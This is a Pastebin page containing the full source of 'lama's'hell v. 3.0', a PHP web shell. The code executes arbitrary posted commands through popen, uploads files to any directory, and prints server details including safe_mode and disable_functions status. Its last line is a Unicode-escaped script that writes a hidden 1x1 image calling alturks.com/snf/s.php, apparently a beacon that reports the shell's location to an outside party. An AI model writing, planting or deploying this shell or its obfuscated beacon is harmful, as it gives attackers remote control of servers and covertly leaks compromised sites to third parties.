Advertisement
blackcyberrootshell

[ + ] Lama Shell [ + ]

Mar 3rd, 2015
245
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.92 KB | None | 0 0
  1. <?
  2. if($_POST['dir'] == "") {
  3.  
  4.  $curdir = `pwd`;
  5. } else {
  6.  $curdir = $_POST['dir'];
  7. }
  8.  
  9. if($_POST['king'] == "") {
  10.  
  11.  $curcmd = "ls -lah";
  12. } else {
  13.  $curcmd = $_POST['king'];
  14. }
  15.  
  16.  
  17. ?>
  18. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
  19.                         "http://www.w3.org/TR/html4/loose.dtd">
  20. <html>
  21.   <head>
  22.     <title>lama's'hell v. 3.0</title>
  23.     <style type="text/css">
  24.      body {
  25.       color: white; background-color: black;
  26.       font-size: 12px;
  27.       font-family: Helvetica,Arial,Sans-Serif;
  28.      }
  29.     </style>
  30.   </head>
  31.   <body>
  32.     <pre>
  33.                               _           _
  34.                              / \_______ /|_\
  35.                             /          /_/ \__
  36.                            /             \_/ /
  37.                          _|_              |/|_
  38.                          _|_  O    _    O  _|_
  39.                          _|_      (_)      _|_
  40.                           \                 /
  41.                            _\_____________/_
  42.                           /  \/  (___)  \/  \
  43.                           \__(  o     o  )__/ <?
  44. $ob = @ini_get("open_basedir");
  45. $df = @ini_get("disable_functions");
  46. if( ini_get('safe_mode') ) {
  47.    echo "SM: 1 \\ ";
  48. } else {
  49.    echo "SM: 0 \\ ";
  50. }
  51. if(''==$df) {
  52.    echo "DF: 0 \\ ";
  53. } else {
  54.    echo "DF: ".$df." \\ ";
  55. }
  56. echo "".php_uname()."\n";
  57. ?>
  58. <hr></pre>
  59.     <table><form method="post" enctype="multipart/form-data">
  60.       <tr><td><b>Execute command:</b></td><td><input name="king" type="text" size="100" value="<? echo $curcmd; ?>"></td>
  61.       <tr><td><b>Change directory:</b></td><td><input name="dir" type="text" size="100" value="<? echo $curdir; ?>"></td>
  62.       <td><input name="exe" type="submit" value="Execute"></td></tr>
  63.  
  64.       <tr><td><b>Upload file:</b></td><td><input name="fila" type="file" size="90"></td>
  65.       <td><input name="upl" type="submit" value="Upload"></td></tr>
  66.     </form></table>
  67. <pre><hr>
  68. <?
  69.     if(($_POST['upl']) == "Upload" ) {
  70.     if (move_uploaded_file($_FILES['fila']['tmp_name'], $curdir."/".$_FILES['fila']['name'])) {
  71.         echo "The file has been uploaded<br><br>";
  72.     } else {
  73.         echo "There was an error uploading the file, please try again!";
  74.     }
  75.     }
  76.     if(($_POST['exe']) == "Execute") {
  77.      $curcmd = "cd ".$curdir.";".$curcmd;
  78.      $f=popen($curcmd,"r");
  79.      while (!feof($f)) {
  80.       $buffer = fgets($f, 4096);
  81.       $string .= $buffer;
  82.      }
  83.      pclose($f);
  84.      echo htmlspecialchars($string);
  85.     }
  86. ?>
  87.     </pre>
  88.   </body>
  89. </html>
  90. <script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement